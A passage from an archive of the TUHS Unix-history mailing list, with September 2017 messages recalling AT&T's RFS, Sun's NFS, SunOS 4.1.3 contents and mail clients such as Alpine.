References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
 <20170925151827.GP28606@mcvoy.com>
 <alpine.BSF.2.21.1709260948560.42298@aneurin.horsfall.org>
 <646c7556-8300-d4ab-47fd-633352ea18e7@case.edu>
 <20170926145326.GX28606@mcvoy.com>
 <alpine.BSF.2.21.1709270720520.42298@aneurin.horsfall.org>
 <a0a43777-6f0d-bf94-c07d-369c29c6adf9@tnetconsulting.net>
 <alpine.BSF.2.21.1709271050070.47452@aneurin.horsfall.org>
 <b7814add-ee06-af8e-0947-ed4cbff4d83d@case.edu>
 <alpine.BSF.2.21.1709271339130.47452@aneurin.horsfall.org>
Message-ID: <ba495cb8-ea8a-7f6b-7608-6175a18a5c62@case.edu>

On 9/26/17 11:42 PM, Dave Horsfall wrote:
> On Tue, 26 Sep 2017, Chet Ramey wrote:
> 
>>> Yeah, but still doesn't answer the question, application-wise.  I'm
>>> gonna guess (without digging through the source) that it's a "dup2(0,
>>> 255)*" or something, to "save" a copy of stdin/out/err for some obscure
>>> reason.
>>
>> I already answered this.
> 
> You didn't, actually, 

I really did: job control and terminal operations. I added more detail
in another message this morning.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/



From krewat at kilonet.net  Thu Sep 28 01:25:58 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Wed, 27 Sep 2017 11:25:58 -0400
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <201709270844.v8R8i2kd021180@freefriends.org>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
Message-ID: <5f35b43e-a799-7968-4307-878dbfe5cd74@kilonet.net>



On 9/27/2017 4:44 AM, arnold at skeeve.com wrote:
> Clem Cole <clemc at ccc.com> wrote:
>
>>
>> Well it was not in PWB 3.0 - aka System III.
> It was in System V Release 3, thus the confusion.  Sun integrated it
> into SunOS 4.0 (IIRC) and then pulled it out around 4.1.something. It
> was for sure gone from 4.1.3 and 4.1.4.
>

Not true, sorry ;) The host irises was my SunOS machine that I used for 
USENET news because it had 1GB SCSI disk on it. The host kilowatt was 
the modem front-end for my BBS and did all the UUCP processing. I was 
...!mcdhup!kilowatt in the early 90's.

RFS was included with SunOS 4.1.3 that I installed on irises. See below, 
motd shows SunOS release, and /usr/etc/mount* are all dated the same 
day, so it was installed from the SunOS 4.1.3 distribution at the time 
of initial install.

 From my archives:

medusa# pwd
/export/archive/tapes/irises.3/a2
medusa# cat etc/motd
SunOS Release 4.1.3 (IRISES) #4: Sun Mar 6 15:14:38 EST 1994

This is irises, a sister to kilowatt. It is a Sun Sparc IPC. I hope to
move to this platform in the near future, but for now, it has to be a
conglomerate.

medusa# ls -l usr/etc/mount*
-rwxr-xr-x   1 root     staff     163840 Jul 23  1992 usr/etc/mount
-rwxr-xr-x   1 root     staff      16384 Jul 23  1992 usr/etc/mount_hsfs
-rwxr-xr-x   1 root     staff      16384 Jul 23  1992 usr/etc/mount_lo
-rwxr-xr-x   1 root     staff      16384 Jul 23  1992 usr/etc/mount_pcfs
-rwxr-xr-x   1 root     staff      65814 Jul 23  1992 usr/etc/mount_rfs
-rwxr-xr-x   1 root     staff      57344 Jul 23  1992 usr/etc/mount_tfs
-rwxr-xr-x   1 root     staff      16384 Jul 23  1992 usr/etc/mount_tmp



From arnold at skeeve.com  Thu Sep 28 01:49:13 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Wed, 27 Sep 2017 09:49:13 -0600
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <5f35b43e-a799-7968-4307-878dbfe5cd74@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <5f35b43e-a799-7968-4307-878dbfe5cd74@kilonet.net>
Message-ID: <201709271549.v8RFnDqk003196@freefriends.org>

Arthur Krewat <krewat at kilonet.net> wrote:

> On 9/27/2017 4:44 AM, arnold at skeeve.com wrote:
> > It was in System V Release 3, thus the confusion.  Sun integrated it
> > into SunOS 4.0 (IIRC) and then pulled it out around 4.1.something. It
> > was for sure gone from 4.1.3 and 4.1.4.
>
> Not true, sorry ;)

You're right. It was in some version of Solaris 5.x that they dropped it.

It was so looooong ago ...

Thanks,

Arnold



From grawity at gmail.com  Thu Sep 28 03:38:30 2017
From: grawity at gmail.com (=?UTF-8?Q?Mantas_Mikul=C4=97nas?=)
Date: Wed, 27 Sep 2017 20:38:30 +0300
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <201709270844.v8R8i2kd021180@freefriends.org>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
Message-ID: <CAPWNY8Uto0ywr2jkL5g8c0PMMtfT+OEd-YP27Hps7Zu_Lj6C+Q@mail.gmail.com>

On Wed, Sep 27, 2017 at 11:44 AM, <arnold at skeeve.com> wrote:

> Clem Cole <clemc at ccc.com> wrote:
>
> > On Sun, Sep 24, 2017 at 1:51 PM, Arthur Krewat <krewat at kilonet.net>
> wrote:
> >
> > > Where does RFS (AT&T System III) fit in all of this?
> > >
> > Well it was not in PWB 3.0 - aka System III.
>
> It was in System V Release 3, thus the confusion.  Sun integrated it
> into SunOS 4.0 (IIRC) and then pulled it out around 4.1.something. It
> was for sure gone from 4.1.3 and 4.1.4.
>

...and to this day, even the Linux errno.h carries such gems as EDOTDOT,
described as "RFS specific error"...

Speaking of which, I've been meaning to ask – what was the original meaning
of such errnos as EL2HLT or ENOANO? (And, well, the remaining few dozen of
them?) I've figured out a few, but gave up on some.

-- 
Mantas Mikulėnas <grawity at gmail.com>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170927/474133e0/attachment.html>

From kevin.bowling at kev009.com  Thu Sep 28 09:01:38 2017
From: kevin.bowling at kev009.com (Kevin Bowling)
Date: Wed, 27 Sep 2017 16:01:38 -0700
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <201709270844.v8R8i2kd021180@freefriends.org>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
Message-ID: <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>

RFS was long out by the time I started using *nix.  I do have media
for it for the 3B2s in my computer collection though.

What were the market forces or limitations that led to NFS prevailing?

Regards,

On Wed, Sep 27, 2017 at 1:44 AM,  <arnold at skeeve.com> wrote:
> Clem Cole <clemc at ccc.com> wrote:
>
>> On Sun, Sep 24, 2017 at 1:51 PM, Arthur Krewat <krewat at kilonet.net> wrote:
>>
>> > Where does RFS (AT&T System III) fit in all of this?
>> >
>> Well it was not in PWB 3.0 - aka System III.
>
> It was in System V Release 3, thus the confusion.  Sun integrated it
> into SunOS 4.0 (IIRC) and then pulled it out around 4.1.something. It
> was for sure gone from 4.1.3 and 4.1.4.
>
>> > Just looking for history on RFS if any.
>> >
>> David Arnovitz's work -- Dave worked for us at Masscomp in Atlanta
>> afterwards.
>
> Interesting!  I never knew that he was involved with it. I don't think
> his name was on any of the USENIX papers.
>
> He and I grew up on the same street, and both sets of parents still
> live there.  He later (with Perry Flinn) went on to found Secureware
> and they did quite well for themselves in the 90s.
>
>> RFS was based on ideas Peter had used in Eighth Edition file system.  When
>> we did EFS @ Masscomp, Perry Flinn and I were both aware of Peter's work ...
>
> I briefly overlapped Perry at Georgia Tech. He was one of the three
> major developers of the Georgia Tech Software Tools Subsystem for Pr1me
> Computers that I later was involved with.  A very bright guy; no idea
> where he is now.
>
> Arnold
>



From clemc at ccc.com  Thu Sep 28 09:11:23 2017
From: clemc at ccc.com (Clem Cole)
Date: Wed, 27 Sep 2017 19:11:23 -0400
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
Message-ID: <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>

On Wed, Sep 27, 2017 at 7:01 PM, Kevin Bowling <kevin.bowling at kev009.com>
wrote:

>
> What were the market forces or limitations that led to NFS prevailing?
>
​Sun pretty much gave it away.   It was simple and 'good enough.'

The Issue was it not a real UNIX file system and did not support full UNIX
semantics.   For a lot of things (like program development) that was
usually ok.  It also exposed a lot a issues in user code - things like
programs that never bothered to check for errors returns (like fclose).

So bad things happened for a long time in a lot of code (silent holes in
your SCCS files that did get detected until months later).

But to Sun and NFS's credit, it solved a problem that was there and was
cheap and so folks used it.

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170927/ae718e15/attachment.html>

From kevin.bowling at kev009.com  Thu Sep 28 09:13:07 2017
From: kevin.bowling at kev009.com (Kevin Bowling)
Date: Wed, 27 Sep 2017 16:13:07 -0700
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
Message-ID: <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>

I guess alternatively, what was interesting or neat, about RFS, if
anything?  And what was bad?

On Wed, Sep 27, 2017 at 4:11 PM, Clem Cole <clemc at ccc.com> wrote:
>
>
> On Wed, Sep 27, 2017 at 7:01 PM, Kevin Bowling <kevin.bowling at kev009.com>
> wrote:
>>
>>
>> What were the market forces or limitations that led to NFS prevailing?
>
> Sun pretty much gave it away.   It was simple and 'good enough.'
>
> The Issue was it not a real UNIX file system and did not support full UNIX
> semantics.   For a lot of things (like program development) that was usually
> ok.  It also exposed a lot a issues in user code - things like programs that
> never bothered to check for errors returns (like fclose).
>
> So bad things happened for a long time in a lot of code (silent holes in
> your SCCS files that did get detected until months later).
>
> But to Sun and NFS's credit, it solved a problem that was there and was
> cheap and so folks used it.
>
> Clem



From lm at mcvoy.com  Thu Sep 28 10:39:54 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Wed, 27 Sep 2017 17:39:54 -0700
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
References: <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
Message-ID: <20170928003954.GJ28606@mcvoy.com>

I'll weigh on this since my office mate at Sun was the Sun RFS guy (Howard
Chartok, great guy, Mr swapfs, I still remember a long discussion we had
outside of Antonio's nuthouse in Palo Alto about how to tie different
swap files to process groups so we could do better at pagin/pageout,
but I digress.  I should write up that discussion though, it's still
useful today).

>From what I remember, RFS worked well in a homogeneous environment.  It
passed structs in binary across the wire.

NFS was based on Sun's RPC stuff that marshalled and unmarshalled the
data.  So it worked with little ints and big ints and Intel byte order
and everyone else's byte order.  RFS not so much.  The RPC stuff is 
actually pretty sweet, I built something I called RPC vectors on top
of it, Ron will remember that, but I digress again.

It's important to note, when talking about NFS, that there was Sun's NFS
and everyone else's NFS.  Sun ran their entire company on NFS.  /usr/dist
was where all the software that was not part of SunOS lived, it was an
NFS mounted volume (that was replicated to each subnet).  It was heavily
used as were a lot of other things.  The automounter at Sun just worked,
wanted to see your buddies stuff?  You just cd-ed to it and it worked.

Much like mmap, NFS did not export well to other companies.  When I went
to SGI I actually had a principle engineer (like Suns distinguished
engineer) tell me "nobody trusts NFS, use rcp if you care about your
data".  What.  The.  Fuck.  At Sun, NFS just worked.  All the time.
The idea that it would not work was unthinkable and if it ever did
not work it got fixed right away.

Other companies, it was a checkbox thing, it sorta worked.  That was
an eye opener for me.  mmap was the same way, Sun got it right and 
other companies sort of did.


On Wed, Sep 27, 2017 at 04:13:07PM -0700, Kevin Bowling wrote:
> I guess alternatively, what was interesting or neat, about RFS, if
> anything?  And what was bad?
> 
> On Wed, Sep 27, 2017 at 4:11 PM, Clem Cole <clemc at ccc.com> wrote:
> >
> >
> > On Wed, Sep 27, 2017 at 7:01 PM, Kevin Bowling <kevin.bowling at kev009.com>
> > wrote:
> >>
> >>
> >> What were the market forces or limitations that led to NFS prevailing?
> >
> > Sun pretty much gave it away.   It was simple and 'good enough.'
> >
> > The Issue was it not a real UNIX file system and did not support full UNIX
> > semantics.   For a lot of things (like program development) that was usually
> > ok.  It also exposed a lot a issues in user code - things like programs that
> > never bothered to check for errors returns (like fclose).
> >
> > So bad things happened for a long time in a lot of code (silent holes in
> > your SCCS files that did get detected until months later).
> >
> > But to Sun and NFS's credit, it solved a problem that was there and was
> > cheap and so folks used it.
> >
> > Clem

-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 



From dave at horsfall.org  Thu Sep 28 10:54:12 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Thu, 28 Sep 2017 10:54:12 +1000 (EST)
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
Message-ID: <alpine.BSF.2.21.1709281053070.47452@aneurin.horsfall.org>

On Wed, 27 Sep 2017, Kevin Bowling wrote:
> I guess alternatively, what was interesting or neat, about RFS, if
> anything?  And what was bad?

Didn't it support remote devices?  Or am I thinking of something else?

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."



From pechter at gmail.com  Thu Sep 28 10:59:45 2017
From: pechter at gmail.com (William Pechter)
Date: Wed, 27 Sep 2017 20:59:45 -0400
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.21.1709281053070.47452@aneurin.horsfall.org>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <alpine.BSF.2.21.1709281053070.47452@aneurin.horsfall.org>
Message-ID: <52b0f774-8052-4d38-8599-1e3c5c5856b8.maildroid@localhost>

I seem to remember it supported remote devices including tape drives.

Never was lucky enough to have hardware to run it.  Later, the wife had a 3b2... 

I never had any way to talk to it beyond uucp. 

Bill

-----Original Message-----
From: Dave Horsfall <dave at horsfall.org>
To: The Eunuchs Hysterical Society <tuhs at tuhs.org>
Sent: Wed, 27 Sep 2017 8:54 PM
Subject: Re: [TUHS] RFS was: Re: UNIX of choice these days?

On Wed, 27 Sep 2017, Kevin Bowling wrote:
> I guess alternatively, what was interesting or neat, about RFS, if
> anything?  And what was bad?

Didn't it support remote devices?  Or am I thinking of something else?

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."



From dave at horsfall.org  Thu Sep 28 11:07:10 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Thu, 28 Sep 2017 11:07:10 +1000 (EST)
Subject: [TUHS] APPLIX-L On this day... (Rosetta Stone,
 Einstein's equation, first Model T, first passenger train)
In-Reply-To: <15bb0682-4366-cfc5-8133-6b1292830c03@rolandturner.com>
References: <alpine.BSF.2.21.1709270653590.42298@aneurin.horsfall.org>
 <2af88ebe-a372-6a4a-87ee-49e1533aa1dd@acfr.usyd.edu.au>
 <15bb0682-4366-cfc5-8133-6b1292830c03@rolandturner.com>
Message-ID: <alpine.BSF.2.21.1709281056410.47452@aneurin.horsfall.org>

On Wed, 27 Sep 2017, Roland Turner wrote:

> * Simply attaching the entire message as a message/rfc822 part is an
>   appealing approach, but very few mail clients would do anything
>   intelligent with it.

My MUA of choice, Alpine, certainly does, and it's hardly uncommon.  I 
tried Elm once, and immediately went straight back to Pine (as it was 
known then); never bothered with Mutt.

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."



From usotsuki at buric.co  Thu Sep 28 12:52:10 2017
From: usotsuki at buric.co (Steve Nickolas)
Date: Wed, 27 Sep 2017 22:52:10 -0400 (EDT)
Subject: [TUHS] APPLIX-L On this day... (Rosetta Stone,
 Einstein's equation, first Model T, first passenger train)
In-Reply-To: <alpine.BSF.2.21.1709281056410.47452@aneurin.horsfall.org>
References: <alpine.BSF.2.21.1709270653590.42298@aneurin.horsfall.org>
 <2af88ebe-a372-6a4a-87ee-49e1533aa1dd@acfr.usyd.edu.au>
 <15bb0682-4366-cfc5-8133-6b1292830c03@rolandturner.com>
 <alpine.BSF.2.21.1709281056410.47452@aneurin.horsfall.org>
Message-ID: <alpine.BSF.2.02.1709272251460.21809@frieza.hoshinet.org>

On Thu, 28 Sep 2017, Dave Horsfall wrote:

> On Wed, 27 Sep 2017, Roland Turner wrote:
>
>> * Simply attaching the entire message as a message/rfc822 part is an
>>   appealing approach, but very few mail clients would do anything
>>   intelligent with it.
>
> My MUA of choice, Alpine, certainly does, and it's hardly uncommon.  I tried 
> Elm once, and immediately went straight back to Pine (as it was known then); 
> never bothered with Mutt.

20 years and I'm still using Pine/Alpine myself. XD

-uso.



From tytso at mit.edu  Thu Sep 28 13:19:49 2017
From: tytso at mit.edu (Theodore Ts'o)
Date: Wed, 27 Sep 2017 23:19:49 -0400
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <20170928003954.GJ28606@mcvoy.com>
References: <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <20170928003954.GJ28606@mcvoy.com>
Message-ID: <20170928031949.gzkgew4adwtedqjd@thunk.org>

On Wed, Sep 27, 2017 at 05:39:54PM -0700, Larry McVoy wrote:
> It's important to note, when talking about NFS, that there was Sun's NFS
> and everyone else's NFS.  Sun ran their entire company on NFS.  /usr/dist
> was where all the software that was not part of SunOS lived, it was an
> NFS mounted volume (that was replicated to each subnet).  It was heavily
> used as were a lot of other things.  The automounter at Sun just worked,
> wanted to see your buddies stuff?  You just cd-ed to it and it worked.

So the story that went around MIT Project Athena was that there was
Sun's NFS, and then there was the version which Sun gave way for
others to use, which was a clean-room re-implementation by a
relatively junior engineer.  Which is why when a file was truncated
and then rewritten, and "truncate this file" packet got reordered and
got received after the "here's the new 4k of contents of the file",
Hilarty Enused.

I'm pretty sure the last part was true, because we debugged it at MIT.
Does anyone know if the bit of the "open source" version of NFS being
a crappy reimplementation which Sun "gifted" to the rest of the
industry was true or not?

					- Ted



From dfawcus+lists-tuhs at employees.org  Thu Sep 28 18:10:59 2017
From: dfawcus+lists-tuhs at employees.org (Derek Fawcus)
Date: Thu, 28 Sep 2017 09:10:59 +0100
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170927141706.GI28606@mcvoy.com>
References: <alpine.BSF.2.21.1709260948560.42298@aneurin.horsfall.org>
 <646c7556-8300-d4ab-47fd-633352ea18e7@case.edu>
 <20170926145326.GX28606@mcvoy.com>
 <alpine.BSF.2.21.1709270720520.42298@aneurin.horsfall.org>
 <a0a43777-6f0d-bf94-c07d-369c29c6adf9@tnetconsulting.net>
 <alpine.BSF.2.21.1709271050070.47452@aneurin.horsfall.org>
 <b7814add-ee06-af8e-0947-ed4cbff4d83d@case.edu>
 <20170927020214.GG28606@mcvoy.com>
 <4e49a311-704d-6b70-92b3-27c6565f8aa0@case.edu>
 <20170927141706.GI28606@mcvoy.com>
Message-ID: <20170928081059.GA6207@accordion.employees.org>

On Wed, Sep 27, 2017 at 07:17:06AM -0700, Larry McVoy wrote:
